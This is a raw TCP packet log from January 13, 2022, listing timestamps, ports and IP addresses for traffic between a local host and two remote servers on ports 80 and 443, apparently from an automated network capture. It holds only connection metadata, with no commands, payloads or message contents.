Jan 13, 2022 20:51:30.936986923 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.937021971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.937067986 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.947707891 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.947741985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.947758913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.947777987 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.947803974 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.947834969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.949696064 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.949729919 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.949785948 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.979943037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.979984999 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.980042934 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.980974913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.981014967 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.981062889 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.984096050 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.984129906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.984205008 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.989798069 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.989861965 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.989897966 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.989896059 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.989922047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.989959002 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:30.993829012 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.993911028 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:30.993946075 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.003113031 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.003171921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.003235102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.003248930 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.003261089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.003293037 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.037818909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.037909985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.037935019 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.037957907 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.037959099 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.038038015 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.038227081 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.038250923 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.038417101 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.038966894 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.039010048 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.039072037 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.045591116 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.045644999 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.045686007 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.045711994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.045744896 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.045777082 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.051863909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.051918983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.051980972 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.058199883 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.058238983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.058260918 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.058275938 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.058284998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.058331013 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.058790922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.058830023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.058873892 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.069403887 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.069461107 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.069546938 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.073453903 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.073491096 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.094680071 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.094733000 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.094758987 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.094777107 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.094784021 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.094805956 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.095407009 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.095451117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.095475912 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.095491886 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.095499039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.095526934 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.106883049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.106951952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.106981993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.107019901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.107073069 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.107104063 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.107250929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.107285976 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.107326984 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.112802029 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.112845898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.112874985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.112915039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.112946033 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.113145113 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.113423109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.113452911 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.113527060 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.114393950 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.114523888 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.117137909 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.117170095 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.117631912 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.143902063 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.152744055 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.152807951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.152837038 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.152867079 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.152880907 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.152908087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.152930975 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.152991056 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.153039932 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.153073072 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.153110027 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.153146982 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.161514997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.161551952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.161575079 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.161598921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.161604881 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.161638021 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.161818027 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.161842108 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.161911964 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.167417049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.167467117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.167608976 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.167779922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.167814016 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.167905092 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.185904980 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.198929071 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199084997 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199121952 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199147940 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.199163914 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199182987 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199215889 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.199263096 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199306965 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199311018 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.199326038 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199382067 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.199392080 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199460030 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199506998 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.199517012 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199563026 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199609041 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199609041 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.199623108 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199672937 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.199682951 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199744940 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199793100 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199794054 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.199805975 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199857950 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.199868917 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199922085 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199968100 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.199970007 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.199982882 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200027943 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.200040102 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200097084 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200149059 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.200153112 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200181007 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200228930 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.200244904 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200310946 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200356960 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.200357914 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200372934 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200445890 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.200455904 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200472116 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200555086 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200566053 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.200601101 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200650930 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.200656891 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200671911 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200726986 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.200738907 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200792074 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200824022 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200839043 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.200851917 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200896025 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200917959 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.200930119 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.200967073 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.200995922 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.210185051 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.210232019 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.210253954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.210280895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.210297108 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.210334063 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.210756063 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.210789919 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.210820913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.210829020 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.210846901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.210871935 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.211697102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.211754084 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.211772919 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.211802006 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.211833954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.211850882 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.216944933 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217042923 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217058897 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217103958 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217118979 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217128038 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217164993 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217195988 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217206955 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217214108 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217273951 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217288017 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217303991 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217328072 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.217344046 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217372894 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217384100 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217411995 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.217413902 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217427969 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.217454910 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.217470884 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217474937 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217479944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.217489004 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217499018 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.217530966 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217593908 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217658043 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217660904 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217674971 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217722893 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217740059 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217801094 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217807055 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217818975 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217895031 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217901945 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217906952 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217921972 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.217969894 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.217987061 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.218048096 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.218050003 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.218063116 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.218105078 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.218115091 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.218137026 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.218164921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.218172073 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.218177080 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.218199015 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.218206882 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.218239069 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.222405910 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.222460032 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.222493887 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.222522020 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.222526073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.222574949 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.234411955 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.234559059 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.234586000 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.234630108 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.234652042 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.234661102 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.234765053 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.234796047 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.234829903 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.234850883 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.234869957 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.234999895 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235016108 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235076904 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235091925 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235171080 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235178947 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235209942 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235249043 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235260010 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235269070 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235325098 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235389948 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235399961 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235452890 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235462904 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235517979 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235541105 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235557079 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235596895 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235611916 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235670090 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235682011 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235691071 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235717058 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235789061 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235801935 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235821962 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235867977 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235877991 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235908985 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.235910892 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235984087 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.235994101 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236026049 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236044884 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.236059904 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236085892 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.236119032 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236196041 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.236211061 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236232996 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236277103 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.236294985 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236316919 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236337900 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.236386061 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236387014 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.236397982 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236449957 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.236454010 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236522913 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236536026 CET	49846	443	192.168.2.5	162.159.129.233
